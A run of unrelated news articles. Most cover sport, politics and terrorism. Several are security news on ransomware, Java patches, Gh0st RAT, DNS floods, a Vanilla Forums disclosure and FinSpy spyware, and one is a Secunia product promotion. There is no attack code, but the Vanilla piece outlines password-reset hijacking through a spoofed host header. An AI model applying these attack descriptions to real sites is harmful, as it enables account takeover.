can see that these are individual decisions just by looking at Martin Kaymer, who recently said that the Olympic golf tournament is a top priority for him this year."In a statement sent to CNN, the IOC said: "The WHO -- which is the authority in this case -- has once again reaffirmed its advice that there should be no general restrictions on travel to Rio de Janeiro because of the Zika virus and has issued advice on a number of sensible measures that all visitors should take."Should golf be at the Olympics? Have your say on our Facebook pageTwo-time major winner Spieth, the world No. 3, had said last month he was "uncertain" about taking part amid Zika concerns.While the symptoms of the virus -- which include a rash, headaches and joint pain -- are not severe, it has been linked to microcephaly in newborn babies and some cases of the muscle-weakening disease Guillain-Barré syndrome in adults.Last month, Brazil's health minister told tourists and athletes that the risk of catching Zika in Rio was "almost zero."However, that did not assuage the concerns of the world's leading golfers, many of whom have young families or are planning to start them.JUST WATCHEDWhat twins can tell us about ZikaReplayMore Videos ...MUST WATCHWhat twins can tell us about Zika 03:14The long line of withdrawals has raised questions about whether golf should be an Olympic sport.Tiger Woods, arguably still golf's greatest draw despite the long-term back problems that have meant he cannot take part at Rio, said the Games "deserved" to have the best players involved.But world No. 1 Jason Day said last month he would not compete in Rio.In a statement, the Australian explained: "The reason for my decision is my concerns about the possible transmission of the Zika virus and the potential risks it might present to my wife's future pregnancies and to future members of our family."While it has always been a major goal to compete in the Olympics on behalf of my country, playing golf cannot take precedent over the safety of our family. I will not place them at risk."Like this story? Get more at cnn.com/golfSecond-ranked Dustin Johnson, the U.S. Open champion, did likewise Friday, while other high-profile golfers to withdraw from the Rio Games include Adam Scott and Marc Leishman of Australia, South Africans Branden Grace, Louis Oosthuizen and Charl Schwartzel and Fiji's former world No. 1 Vijay Singh.
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Story highlightsVideo of English fans throwing money at children stirs outrage on social mediaFan violence at Euro 2016 continued overnight in Lille, France (CNN)A group of English fans in France for the Euro 2016 soccer championship have been caught on video taunting begging children in the street, apparently throwing coins at boys, forcing them to scramble and race each other for the pickings.English fans are mocking at gipsy children throwing them coins pic.twitter.com/vWMuGrq0QV— Max Allanazarov (@KyKyPyKy22) 14 June 2016
Hundreds of English fans gathered outside a bar in Lille, chanting loudly, waving English flags and throwing empty plastic beer cups on the floor, according to a CNN correspondent who was at the scene earlier. JUST WATCHEDNew arrests over Euro 2016 clashesReplayMore Videos ...MUST WATCHNew arrests over Euro 2016 clashes 02:48The Union of European Football Associations condemned the fans' behavior, saying it "has always shown zero tolerance for any form of discrimination." The video that emerged Thursday set off a storm of criticism on social media, mostly from British people embarrassed by their fellow countrymen. One Twitter user joked about the upcoming "Brexit" vote in which Britain will decide whether to stay in or leave the European Union: "Europe must be thinking, 'Good riddance!' "The way a segment of the English football fan community is behaving, Europe must be thinking, "Good riddance!"— Lee Randall (@randallwrites) 16 June 2016Read MoreA Russian sports journalist from the Tass government news agency posted the video -- the latest in nasty images to emerge from the soccer championship, where arrests, injuries and hospitalizations have become daily occurrences. Absolutely ashamed to be English after watching the video of the English football fan ridiculing the little refugees children in France!— Latasha-jade (@latashajade15) 16 June 2016
Fan violence continued in Lille on Wednesday night, the day before England faced off against Wales in nearby Lens. Police made 36 arrests, and 16 fans were taken to the hospital.Fans at the scene were heavily intoxicated, and CNN witnessed some approach children at another point, showing them money in their hands and then closing their fists to deny them.On Thursday afternoon, England defeated Wales 2-1 in Lens, where 2,400 security officers were deployed, street cameras set up and alcohol regulations put in place. I bet most of Europe hope #Brexit wins so they can close borders to stop swarms of drunken English fans marauding across the Channel again— yvonne ridley (@yvonneridley) June 16, 2016
Some of the worst violence so far surrounded the England-Russia match Saturday when at least 35 people were injured and some hospitalized in brawls.In chaotic scenes, throngs of rival supporters rushed at one another, hurling bottles, chairs and other objects, and forcing police in riot gear to fire tear gas in response.CNN's Frederik Pleitgen and Alex Felton contributed from Lille, France.
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From last few years Ransomware malwares are targeting Windows users Worldwide and experts predicted that it was just a matter of time until ransomware would hit mobile devices and other Desktop operating systems like Mac, iOS, Android etc.
A Few weeks back we reported about a Ransomware malware campaign which is targeting Android mobile users. Such Malware first try to trick users into downloading it and then demanding payment to restore user control of the device.
This morning reports came out that cybercriminals have targeted a large number of users of Apple's iCloud connected devices with a sophisticated Ransomware in Australia.
The owners of iPhone, Mac and iPads are finding their devices locked remotely through iCloud and a message originating in Apple's find my device service that states "Device hacked by Oleg Pliss".
One user wrote on Apple Support Forum, "I went to check my phone and there was a message on the screen (it's still there) saying that my device(s) had been hacked by 'Oleg Pliss' and he/she/they demanded $100 USD/EUR (sent by paypal to lock404(at)hotmail.com) to return them to me."
The Locked Devices are prompting to send up to US$100 to a Paypal account of the suspected hacker in order to have them unlocked. But we urge our users not to send money to the given account, as PayPal spokesman confirmed that, 'There's no PayPal account linked to hacker email addr and any customer who has sent money will be refunded'
HOW HACKERS LOCKED THE DEVICES?
This case is quite different because phones are not infected by any malicious application, but rather hackers allegedly hijacked Apple's 'Find My iPhone' feature, which allowed them to remotely lock iOS and Mac devices and send messages demanding ransom money.
It appears that Australian hackers are using compromised iCloud accounts, exposed in some recent security breaches and the hacked accounts were likely not using two-step verification. But those users who have set Passcode for a two-step verification on their Apple devices haven't fallen victim to this attack, because just account password will not be sufficient for hackers to gain device access.
Users can still recover their device by resetting the device in "recovery mode", but in this process you will lose all your apps and data stored on the device.
Apple has not yet officially commented on the issue but users are recommended to turn on two-step verification for their Apple ID with the directions available on Apple's support page.
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It's time to update your Java program as Oracle has released its massive patch package for multiple security vulnerabilities.
The United States software maker Oracle releases its security updates every three months, which it referred to as "Critical Patch Updates" (CPU). Yesterday, Oracle released its second CPU-date of this year providing important updates that include a total of 104 vulnerabilities, the company has announced.
From the overall vulnerabilities, 37 security vulnerabilities impact Java SE and several of these flaws are so serious that it can be remotely exploited by a malicious malware to gain system access and execute arbitrary code with the privileges of a local user.
Successful exploitation also allows an attacker to manipulate certain local data on a system and can cause a DoS attack without the need of authentication credentials, which means the flaws can be exploited over a network without the need for a username and password to crashing an application or an entire system.
In the latest update, the vulnerability has been fixed in the current version of the "Java SE 8 Update 5" and to the newer release "Java SE 7 Update 55".
In addition to the Java SE, vulnerability has been fixed in each affected software product including:
Oracle Database
Fusion Middleware
Access Manager
Containers for J2EE
Data Integrator
Endeca Server
Event Processing
OpenSSO
WebCenter Portal
WebLogic Server
Hyperion Common Admin
E-Business Suite
Agile PLM Framework
Transportation Management
PeopleSoft Enterprise
Java SE, MySQL Server and others
Among the security updates, 4 out of 37 Java vulnerabilities are very serious that have been evaluated in the maximum rating of 10.0 in the CVSS (Common Vulnerability Scoring System) base score of common indicators risk, those must be considered as very critical.
CVE-IDs of 37 Serious Java Vulnerabilities:
CVE-2013-6629
CVE-2013-6954
CVE-2014-0429
CVE-2014-0432
CVE-2014-0446
CVE-2014-0448
CVE-2014-0449
CVE-2014-0451
CVE-2014-0452
CVE-2014-0453
CVE-2014-0454
CVE-2014-0455
CVE-2014-0456
CVE-2014-0457
CVE-2014-0458
CVE-2014-0459
CVE-2014-0460
CVE-2014-0461
CVE-2014-0463
CVE-2014-0464
CVE-2014-1876
CVE-2014-2397
CVE-2014-2398
CVE-2014-2401
CVE-2014-2402
CVE-2014-2403
CVE-2014-2409
CVE-2014-2410
CVE-2014-2412
CVE-2014-2413
CVE-2014-2414
CVE-2014-2420
CVE-2014-2421
CVE-2014-2422
CVE-2014-2423
CVE-2014-2427
CVE-2014-2428
The users are advised to update their installations as soon as possible from Java website or using the Java Control Panel.
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Cybercrime costs organizations millions of dollars and to protect business from the consequences of security breaches, vulnerability intelligence and patch management are basic necessities in the toolbox of any IT team, as emphasized by organizations like the SANS Institute and the National Institute of Standards and Technology under the US Department of Commerce (NIST).
The Secunia CSI 7.0 is the Total Package: Vulnerability Intelligence, Vulnerability Scanning with Patch Creation and Patch Deployment Integration.
To help IT teams counter the threat, vulnerability research company Secunia merges the in-house vulnerability expertise with a sophisticated patch management solution into the Secunia Corporate Software Inspector (CSI 7.0). The foundation of the Secunia CSI is a unique combination of vulnerability intelligence and vulnerability scanning, with patch creation and patch deployment integration.
The Secunia CSI integrates with Microsoft WSUS and System Center 2012 and third-party configuration management tools for easy deployment of third-party updates, making patching a simple and straight-forward process for all IT departments.
To make the solution flexible and suited to the processes of organizations of all sizes the new version, the Secunia CSI 7.0, comes with these new and improved features:
Smart Groups 2.0: Create Smart Groups designed to prioritize remediation efforts by filtering and segmenting data based on hosts, products or impact, and to receive alerts when a threat is detected;
User Management: Create user accounts with different roles and permissions;
Patch Configuration: get configurable patches out-of-the-box that can be easily customized to support your environment, for example to avoid desktop shortcuts or to disable auto-update for a program
Web Console (SaaS): Log in to the Secunia CSI from an internet browser for instant access to your data and reports - anywhere, at any time.
Password Policy Configuration: Determine and enforce the global password policy for your organization to comply with internal and external policies as well as to meet best-practice standards in your industry.
Live updates: get an immediate overview of how a new vulnerability affects your infrastructure, as soon as the advisory has been released by Secunia Research, based on your latest scan results
PSI for Android: Scan Android devices for vulnerabilities with the Secunia PSI for Android, and integrate it with the Secunia CSI to support your BYOD policy.
Secunia SC2012 Plugin 2.0 for CSI integration with Microsoft System Center 2012. This add-on makes it possible to deploy all third-party updates directly in Microsoft System Center 2012.
Zero-Day Vulnerability Support. The add-on includes SMS or email alerts, whenever a new zero-day vulnerability is discovered that affects the particular IT infrastructure. This add-on is designed for the select organizations that have a sufficiently sophisticated security apparatus to enable them to act on the zero-day threat intelligence.
Why vulnerability intelligence is a crucial aspect of patch management
In 2012, Secunia recorded a total of nearly 10,000 discovered vulnerabilities in software programs, and more than 1,000 vulnerabilities in the 50 most popular programs alone Most of these (86%) were discovered in third-party (non-Microsoft) programs, presenting IT teams with the huge challenge of how to retain control over increasingly complex infrastructures and user device autonomy and identify, acquire, install and verify patches for all applications in all systems.
As vulnerabilities are the root cause of security issues, understanding how to deal with them is a critical component of protecting any organization from security breaches. IT teams must know when a vulnerability is threatening the infrastructure, where it will have the most critical impact, what the right remediation strategy is and how to deploy it.
These aspects of risk assessment fall to IT Security and IT Operations respectively, and the two departments require different sets of tools to take strategic, pre-emptive action against vulnerabilities.
"The new Secunia CSI bridges the gap between the two sets of requirements. Security teams need vulnerability intelligence and scanning to assess risk in a constantly changing threat landscape, and IT operations need a patch management solution that is sufficiently agile to maintain security levels without an impairing daily performance," explains Morten R. Stengaard, Secunia CTO.
"The core of our solution is the vulnerability intelligence delivered by Secunia's renowned in-house Research Team, who test, verify, and validate public vulnerability reports, as well as conduct independent vulnerability research on a variety of products. No other patch management solution out there can provide this expertise. To deliver the intelligence to our customers, we have created a patch management solution which is constantly evolving, to meet the changing requirements of our users," says Morten R. Stengaard.
Flexibility is the driving force behind the Secunia CSI 7.0
To ensure that the Secunia CSI 7.0 is primed to work as a conduit to Secunia's powerful vulnerability intelligence, scanning and patch management solution, flexibility has been the driving force behind the development of the Secunia CSI 7.0.
"Each organization is unique, with its own processes, regulatory standards and security procedures, and the improvements to the Secunia CSI 7.0 enables IT teams to adapt and scale the solution to match the requirements of virtually any organization," says Morten R. Stengaard.
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Human Rights organisation website Serves Gh0st RAT Trojan
According to the company's Security Labs blog, Amnesty International's United Kingdom website was compromised and hosting the potent Gh0st RAT Trojan earlier this week. Malicious Java code was planted on the site in a bid to push the Gh0st RAT Trojan onto vulnerable Windows machines. If successful, the attack plants malware onto machines that is capable of extracting the user's files, email, passwords and other sensitive personal information.
The vulnerability for the infection stemmed from a popular Java exploit, CVE-2012-050. Hackers exploited that hole and used it to inject the Amnesty International site's script with malicious code. The Java hole was the same used by Flashback, the much buzzed-about Mac OS X Trojan in recent months.
The exploit code used in this attack appears to have been copied from Metasploit, an open source penetration testing framework popular among security professionals, Giuliani said.
The injected web code was removed after Websense alerted Amnesty to the issue.The attack bears all the hallmarks of a series of attacks that appear to be targeting pro-Tibet organisations and sympathisers, most likely by a group connected to China.
The Gh0st Trojan has been used by suspected Chinese hackers in several advanced persistent threat (APT) style attacks, most notably the 'Nitro' attacks against energy firms in 2011. Chinese involvement in the Amnesty International attack is suspected but unproven.
Websense detected over 100 other websites infected with the same malicious code as Amnesty International's U.K. website during the same time period, Carl Leonard, senior manager of Websense Security Labs, said.
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(CNN)Can't wait to see what happens in the UK's Brexit saga? A new vote on an exit deal proposed by Theresa May now has a date: the week of June 3—the same week that Donald Trump begins his controversial state visit to the country.It will be the fourth time that the House of Commons votes on May's Brexit deal, after rejecting it in each prior vote.The plan was announced during a meeting between the UK Prime Minister and opposition Labour leader Jeremy Corbyn, according to a Downing Street spokesman. The vote is timed to take place before lawmakers take off for summer recess."This evening the Prime Minister met the Leader of the Opposition in the House of Commons to make clear our determination to bring the talks to a conclusion and deliver on the referendum result to leave the EU," the spokesman said."We will therefore be bringing forward the Withdrawal Agreement Bill in the week beginning the 3rd June," he added, noting that official talks are ongoing.Read More"It is imperative we do so then if the UK is to leave the EU before the summer Parliamentary recess."
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Just days before the inauguration of President Donald Trump, cyber criminals infected 70 percent of storage devices that record data from feds surveillance cameras in Washington D.C. in a cyber attack.
Any guess, What kind of virus could have hit the storage devices?
Once again, the culprit is Ransomware, which has become a noxious game of Hackers to get paid effortlessly.
Ransomware is an infamous piece of malware that has been known for locking up computer files and then demanding a ransom in Bitcoins in order to help victims unlock their files.
But over time, the threat has changed its way from computers and smartphones to Internet-of-Thing (IoT) devices.
Ransomware Infected 70% Surveillance Cameras in Washington D.C.
This time the hackers managed to plant ransomware in 123 of its 187 network video recorders, each controlling up to four CCTVs used in public spaces throughout Washington D.C, which eventually left them out from recording anything between 12 and 15 January.
Officials told the Washington Post that the incident forced them to take the storage devices offline, remove the infection and rebooted the systems across the city, but did not fulfill any ransom demands by the hackers.
While the storage devices were successfully put back to rights and the CCTV cameras were back to work, it is still unclear if any valuable data was lost or if the ransomware infection merely crippled the affected computer network devices.
Washington's chief technology officer Archana Vemulapalli said the officials are now investigating the source of hacking, assuring that the incident was limited to the storage devices tied to closed-circuit TV system and did not affect other D.C. government networks.
Rise in Ransomware: Both in Numbers and Sophistication
Ransomware is the hackers sure-shot way to get paid effortlessly. The threat has been around for a few years, but nowadays it has become one of the most used types of hacking methods.
Recently, hundreds of guests of a luxurious hotel in Austria were locked out of their rooms when ransomware malware hit the hotel's IT system, and the hotel paid the attackers to get back the control of their systems.
We saw an enormous rise in Ransomware threats, both in numbers and sophistication. You would be surprised to know about KillDisk data wiping ransomware that encrypts files and asks for an unusually large ransom of around $218,000 in Bitcoins, but did not provide decryption keeps even after the payment has made.
Another weird ransomware variant was Popcorn Time that was designed to give victims options to either pay a ransom to hackers or infect two more people and have them pay the ransom to get a free decryption key.
Prevention is the Best Practice
The only safe way of dealing with ransomware is prevention. The best defense against Ransomware malware is to create awareness within the organizations, as well as to maintain back-ups that are rotated regularly.
Most viruses and infections are introduced by opening infected attachments or clicking on malicious links usually served in spam emails. So, don't click on links provided in emails and attachments from unknown sources.
Besides this, always ensure that your systems and devices are running the latest version of Antivirus software with updated malware definitions.
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Dublin, Ireland (CNN)In the last four and a half years, Michael Rossney has been to court 40 times and spent tens of thousands of euros on legal fees. Like some 118,000 people in Ireland, his marriage has broken down and he is separated from his partner. As the Dublin native seeks a divorce, his legal and financial situation may sound difficult, but this is not unusual in Ireland due to the country's divorce laws, which are among the most restrictive in Europe. Under current legislation, which is enshrined in the country's constitution, a person can only apply for a divorce after living separately from their spouse for four out of the previous five years. No one is exempt from this mandatory wait time, including those who are trying to leave abusive relationships, most of whom are women. Women suffering from domestic abuse could benefit from a shorter divorce process in order to protect themselves -- and their children -- from continued abuse from a former spouse, according to the National Women's Council of Ireland. Other individuals in the process of separating, like Rossney, argue that the minimum wait time creates unnecessary levels of anxiety, prohibits their ability to move on, wreaks havoc on their emotional well-being and is a terrible financial burden. Read MoreThat could all change on May 24 when Ireland goes to the polls in a referendum on divorce.A 'protracted war'Any changes to the Irish constitution must be approved by a public referendum and, in this upcoming poll, voters will be asked whether they support a government proposal to remove the four-year wait from the constitution. If passed, parliament will legislate on the future time period needed before couples can apply for a divorce.Voters will also be asked if they want to remove a law that doesn't recognize foreign divorces, a provision that prohibits people who divorced outside Ireland from remarrying. Minister for Justice and Equality Charlie Flanagan said in March that "complex questions of social policy are best dealt with through detailed legislation in the Oireachtas (parliament) rather than within the confines of our Constitution." Flanagan added that the government intends to reduce the living apart period to two years so that both parties can "move forward with their lives within a reasonable timeframe."Forty-year-old Rossney told CNN that the long wait has fueled a hostile environment that has been exploited by the legal system, and that the proceedings -- and relationship with his ex -- could have been more positive if the mandatory period wasn't so drawn out."I don't think we would have hit such a low point if things hadn't dragged on so long," he said. "We knew we had a protracted war ahead of us." Rossney, a proud father of two, said that he believes that the current law means that legal teams don't have "any incentives to stop fighting until the money is gone." He said that Ireland's family court "is not fit for purpose" as "like any other court, it is ... a fight until one party wins and the other loses."A changing IrelandMany in the process of divorce support the government proposal. If it passes, it will be the latest in a series of measures reflecting modern Irish society that have recently questioned, and rejected, the historical role of the Catholic Church's doctrine on its institutions. They baptized their children for school places. Now regret is setting in.Ireland became the first country to legalize same-sex marriage through a popular vote, with more than 60% voting yes in a referendum in 2015. And, earlier this year, it opened its first abortion services following the 2018 vote that repealed a constitutional amendment that had placed a near-ban on terminations. While public support for the change in divorce law is high, a small minority fears that if it passes, it could lead to the demise of the institution of marriage.David Quinn, director of the Catholic advocacy group Iona Institute, told CNN that if the waiting period was taken out of the constitution, "politicians will eventually vote two years down to six months, in which case the difference between marriage and cohabitation, legally speaking, becomes ever finer."Speaking on Irish radio in December, Quinn said: "I don't think something as important as marriage should be too easy to get out of."There should be a kind of trip wire to really slow down and think about it," he added.'You're in a situation where you can't move on'Quinn's comments reflect Ireland's difficult relationship with divorce, and the upcoming vote will mark the third time the country has held a referendum on the subject. In a 1986 referendum, 63% of Irish voters rejected a proposal to end a total ban on divorce.Almost a decade later, Irish voters were asked again. The 1995 divorce referendum was a hotly contested campaign, vocally opposed by the Catholic Church. Marked by prominent signs reading "Hello Divorce, Goodbye Daddy," anti-divorce activists argued that Irish men would leave their wives en masse if it passed. That referendum did pass but only just: Ireland voted to repeal the country's 58-year-old constitutional ban on divorce by a razor-thin margin of less than 1% of the vote. In 1995, Ireland voted by a narrow margin to lift its 58-year-old ban on divorce.Some of that lingering anti-divorce sentiment, coupled with the current legal restrictions and the rise in cohabitating couples, are reflected in the country's current divorce rate, which is among the lowest in Europe. Married couples in Ireland tend to stay together at a far higher average compared to their EU counterparts, with a crude divorce rate of 0.7 out of 1,000 people, compared to the EU average of 1.9, according to Eurostat data. While the introduction of divorce has been viewed as a pivotal moment in Ireland's modern history, most of the Yes campaigners that CNN spoke to argue that the confines of the law continue to reflect an old Ireland, one whose constitution still has laws reflective of the Catholic Church's grip.This also includes a constitutional clause that states that a woman's place is in the home. A referendum on that was expected to take place last October in conjunction with a referendum that removed the offense of blasphemy from the constitution. It has since been postponed. Bishop Denis Nulty, chair of the Council for Marriage and the Family of the Irish Catholic Bishops' Conference, said in a statement Saturday that "it is important to reflect deeply on the implications of this referendum which seeks to expedite the dissolution of marriage," adding that the government should "recommit resources to marriage preparation and invest resources into marriage enrichment." David Graham, 37, who is currently separated, told CNN that when Ireland first introduced divorce, the "outside world might have thought Ireland had become more progressive. But when you look at it, it's more regressive because they put in stipulations to make it very difficult to get a divorce."While he actively supports the upcoming referendum, he fears the new proposed wait time will still restrict separating couples' ability to move on at their own pace. "You go through that process and you just want to get through it, and you want to move on -- but you're in a situation you can't move on."
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Till Now the Internet was encountering the traditional Distributed Denial of Service (DDoS) attacks, where a large number of compromised systems use to flood servers with tremendous amount of bandwidth; but in past few months we have noticed massive change in the techniques of DDoS attack.
Hackers are using creative, but evil DDoS techniques such as NTP and DNS Amplification DDoS attacks. Last month we have seen that how cybercriminals abused a vulnerability in one of the biggest Chinese video hosting website Sohu.com to convert their millions of visitors to participate into the Layer 7 (Application Layer) DDoS attack with 20 Million requests.
According to the new report released by a US based security solutions provider Incapsula, another interesting DDoS attack activities have been noticed by the researchers in which an attacker abused two major anti-DDoS Service providers to perform massive DDoS attack on other websites.
Its really EPIC that the services who should protect websites from DDoS attack, itself compromised to perform DDoS on other web services.
The researchers at the security firm noticed a surge of massive DNS DDoS attack on one of its client, peaking at approximately 25Mpps (Million packets per second).
"With multiple reports coming from different directions, and with several large scale attacks on our own infrastructure, we are now convinced that what we are seeing here is an evolving new trend - one that can endanger even the most hardened network infrastructures," reads the report.
This time, hacker used the DNS DDoS attack, which is totally different and more responsive from the previously most commonly used DNS amplification attack by the hackers, both in their methods of execution and in the type of trouble they aim to deliver.
DNS amplification attack is an asymmetrical DDoS attack in which the attacker set the source address to that of the targeted victim by using spoofed Internet Protocol (IP) of the target, which means the target receives the replies from all the DNS servers that are used, making it the recipient of much larger DNS responses. "With these attacks the offender's goal is to achieve network saturation by continuously exhausting the target's bandwidth capacity," Incapsula wrote.
But its totally different in the case of DNS DDoS attack as DNS floods are symmetrical DDoS attacks in which the attacker tries to exhaust the server-side assets (for e.g., memory or CPU) with the large number of UDP requests generated by the malicious scripts running on several compromised botnet machines. The packets sends per seconds are even larger in this case compare to DNS amplification attack.
"With DNS amplification, the effectiveness of an attacker's own resources is increased by anywhere from 300% to 1000%, which means that large attacks could be initiated by relatively small botnets", says the report. "On the other hand, with DNS floods there is no multiplier to speak of at all. This means that, in order to generate a DNS flood at the rate of 25Mpps, the offender needs access to an equally powerful botnet infrastructure."
By using the same DNS DDoS attack, the hacker succeeded in sending the malicious requests through two different servers at a rate of 1.5 Billion DNS queries per minute, amounting to over 630 Billion requests during the course of the 7 hour-long DDoS attack.
Both the servers used by the attacker belongs to anti-DDoS service providers, one of which is based in Canada and the other in China. After acknowledging the attack, Incapsula informed both the anti-DDoS vendors, which then dropped the responsible clients from using their services.
"Malicious misuse of security solutions is anything but new. However, this is the first time we encountered "rogue" scrubbing servers used to carry out large-scale DDoS attacks. This fact, combined with the inherit danger of non-amplified DNS floods, is what makes these attacks so devastatingly dangerous," the researchers said.
DNS Amplification DDoS attack could be defended by dropping all unexpected DNS responses to port 53, whereas DNS Flood queries are difficult to differentiate from the legitimate DNS queries, and it is not possible to drop all DNS queries in order to migrate the attack. However this could be filtered when individually processed at the server level, but such process is practically very difficult to execute. Thankfully, the Impact of DNS Flood attack depends upon the capacity of the attacker's own resources.
As we all have seen that DDoS trend is changing and to perform massive DDoS attacks, hacker are using every tantrum by leveraging the weakness of different protocols and boosting the sizes of Distributed Denial of Service (DDoS) attack.
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A security researcher has publicly disclosed two critical zero-day vulnerabilities in Vanilla Forums, an open source software that powers discussion on over 500,000 websites, which could allow unauthenticated, remote attackers to fully compromise targeted websites easily.
Discovered by Polish security researcher Dawid Golunski of Legal Hackers, two separate unpatched vulnerabilities, a remote code execution (CVE-2016-10033) and host header injection (CVE-2016-10073), affect the latest version of Vanilla Forums 2.3, leaving hundreds of thousands of websites and their visitors vulnerable to various hacking attacks.
Vanilla Forums: Remote Code Execution Flaw
According to Golunski, both vulnerabilities technically exist because Vanilla Forum is still using a vulnerable version of PHPMailer, one of the most popular open source PHP libraries used to send emails.
Last year Golunski reported a critical remote code execution flaw (CVE-2016-10033) in PHPMailer library that allows an attacker to remotely execute arbitrary code in the context of the web server and compromise the target web application.
In a proof-of-concept video, Golunski demonstrated that the same PHPMailer exploit also makes the Vanilla Forums vulnerable, and if used in combination with host header injection, it allows attackers to inject arbitrary commands and payloads passed within the HOST header.
"It should be noted that this vulnerability can still be exploited even if Vanilla software is hosted on Apache web server with several name-based vhosts enabled, and despite not being the default vhost," the researcher explained.
Vanilla Forums: Host Header Injection Flaw
The Host Header Injection vulnerability in Vanilla forum can also be independently used to hijack user accounts, let's say admin, by sending a spoofed HTTP request with a custom HOST header (for example attacker-mxserver.com), while initiating a password reset process for a targeted admin user.
This technique also works in a similar manner as the Wordpress flaw, Golunski disclosed just last week, allowing attackers to gain access to user accounts, "carrying Web-cache poisoning attacks, and in some instances, execute arbitrary code."
Golunski reported the vulnerabilities to the Vanilla Forums in January this year. The company acknowledged his reports but went mum for around five months, which made him go public with his findings.
The researcher confirmed both the flaws still exist in the most recent, stable version 2.3 of Vanilla Forums, and believes that older versions of the forum software are also vulnerable.
Until the company fixes the issue, as a temporary mitigation, Golunski advises website administrator to set the sender's email address to a predefined static value in order to block the Vanilla Forums from using the HOST header.
Update: Vanilla Forums fixed the reported vulnerabilities last night, and said the issues only affect its free and open source product, adding "neither of these vulnerabilities affect our cloud customers" at vanillaforums.com, "nor were they at the time of their publication."
Users of its free and open source software are strongly recommended to update their Vanilla Forums software to the latest open source version, Vanilla 2.3.1.
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Story highlightsHayat Boumeddiene was married to the gunman who killed four people in a Paris marketAuthorities think she went to Syria around the time of the attackISIS has a new French language magazine and the second issue had a purported interview with her (CNN)The widow of Paris kosher supermarket gunman Amedy Coulibaly has linked up with ISIS, the terror group claims. The second issue of an ISIS French language magazine, which began circulating on pro-ISIS Twitter accounts Wednesday, contains a purported two-page question-and-answer story with Hayat Boumeddiene, who is believed to have disappeared into Syria before the January 9 attack.The magazine, entitled Dar al Islam, claimed Boumeddiene safely reached the Islamic State, but offered no pictures or any other proof to corroborate the claim. French terrorism expert Jean-Charles Brisard told CNN the magazine appears to be an official ISIS publication and is a sign that Boumeddiene has reached ISIS.In the article, she was asked how Coulibaly felt about ISIS's announcement it had established a caliphate, or Islamic state, in territory spanning Syria and Iraq. He wanted to go to Syria or Iraq to fight, she reportedly answered. Read MoreBoumeddiene, 26, claimed in the purported interview that she encountered no difficulties reaching ISIS territory and she felt good to be on ISIS soil. She did not provide any details on her role in the Paris attacks.She also gave a lengthy response to what advice she would have for Muslim women.Search for woman linked to Paris hostage-taker goes globalThe new issue of Dar al Islam magazine was entitled "May Allah Curse France" and featured on its cover a picture of the Eiffel Tower being guarded by French soldiers. It also included several pictures showing the aftermath of the Paris attacks, praised Coulibaly and called for more attacks against those "insulting the Prophet."It claimed an associate of Coulibaly who had reached Syria had provided them a report of his positive qualities. The first issue of Dar al Islam magazine was published on December 23 and was posted on ISIS's official Twitter account, according to Memri, an organization tracking jihadist websites. Hayat Boumeddiene is believed to have disappeared into Syria before the January 9 attack.Boumeddiene is believed to have crossed into Syria from Turkey around the time Coulibaly started his terrorism spree in Paris. Coulibaly pledged allegiance to Abu Bakr al-Baghdadi in a video he emailed out before the kosher grocery store attack in which four people were killed. The recording was posted on pro-ISIS Twitter accounts. In January, CNN obtained surveillance video that purportedly shows Coulibaly and Boumeddiene outside a Jewish institution in Paris.A source familiar with the investigation into the Paris attacks said there was a high degree of confidence that the video shows Coulibaly and Boumeddiene.The video was recorded at the end of August or beginning of September and stored on a security camera.The source says the nature of the video makes it clear that the couple were carrying out surveillance of possible targets for months before Coulibaly, who is also believed to have killed a policewoman a day earlier, launched his attack against the kosher supermarket. Coulibaly was shot to death when police stormed the market.The video was stored because it showed possible signs of unusual activity at the location, says the source.
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(Reuters)Barcelona sacked coach Ronald Koeman after Wednesday's 1-0 LaLiga defeat at Rayo Vallecano, the Catalan club said on Wednesday."FC Barcelona has relieved Ronald Koeman of his duties as first team coach. The president of the club, Joan Laporta, informed him of the decision after the defeat against Rayo Vallecano," the LaLiga club said in a statement."Ronald Koeman will say goodbye to the squad on Thursday at the Ciutat Esportiva."FC Barcelona wishes to thank him for his service to the club and wishes him all the best in his professional career, it said.Barcelona is ninth in LaLiga on 15 points from 10 games, six points behind leaders Real Madrid who beat them 2-1 at the Camp Nou on Sunday.Read MoreSolskjaer to remain in charge of Manchester UnitedThey are third in their Champions League group with three points from three matches after suffering 3-0 defeats in their opening two games against Bayern Munich and Benfica.Barcelona are five-time European champions, and the results marked the first time in the club's history that they had failed to score in their opening two European games.Koeman, who spent six years with Barca as a player, was brought back to the club in August 2020 by former president Josep Maria Bartomeu.New chief Joan Laporta, however, frequently made it clear that the Dutchman was not his appointment.The duo had an uneasy relationship, with Koeman last month releasing a statement calling for him to be given time to rebuild after losing Lionel Messi and Antoine Griezmann in the transfer window.However, that wish was not granted and the club will now seek a replacement for the 58-year-old.Local media reports suggest that former midfielder Xavi Hernandez, who is in charge of Al Sadd in Qatar, and Belgium coach Roberto Martinez are the front runners for the role.
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One of the most powerful, infamous, and advanced piece of government-grade commercial surveillance spyware dubbed FinSpy—also known as FinFisher—has been discovered in the wild targeting users in Myanmar.
Created by German company Gamma International, FinSpy is spying software that can target various mobile platforms including iOS and Android, we well as desktop operating systems.
Gamma Group reportedly sells its controversial FinSpy espionage tool exclusively to government agencies across the world, but also gained notoriety for targeting human rights activists in many countries.
The FinSpy implant is capable of stealing an extensive amount of personal information from targeted mobile devices, such as SMS/MMS messages, phone call recordings, emails, contacts, pictures, files, and GPS location data.
In its latest report published today, Kaspersky researchers revealed a cyber-espionage campaign that involves targeting Myanmar users with the latest versions of FinSpy implants for iOS and Android.
Since some advanced functionalities require FinSpy to have root privileges on a targeted device, the implant doesn't work properly on iOS without jailbreaking, which can be achieved with physical access or remotely in combination with some zero-day vulnerabilities.
However, in the case of Android, researchers found that the implant has been using the DirtyCow exploit to automatically gain root privileges on an unrooted Android device, allowing attackers to successfully infect a device remotely.
According to the researchers, the new versions of FinSpy for both mobile operating systems are also capable of recording VoIP calls via external apps such as Skype, WeChat, Viber, LINE, as well as via secure messaging apps such as WhatsApp, Threema, Signal, and Telegram.
"The module .chext targets messenger applications and hooks their functions to exfiltrate almost all accessible data: message content, photos, geolocation, contacts, group names, and so on. The collected data is submitted to the local server deployed by the main module," the researchers say.
FinSpy also includes keylogging functionality and has also been designed to cover up the tracks of its activities on a targeted device.
"Since the leak in 2014, Gamma Group has recreated significant parts of its implants, extended supported functionality (for example, the list of supported instant messengers has been significantly expanded) and at the same time improved encryption and obfuscation (making it harder to analyze and detect implants), which made it possible to retain its position in the market," the researchers conclude.
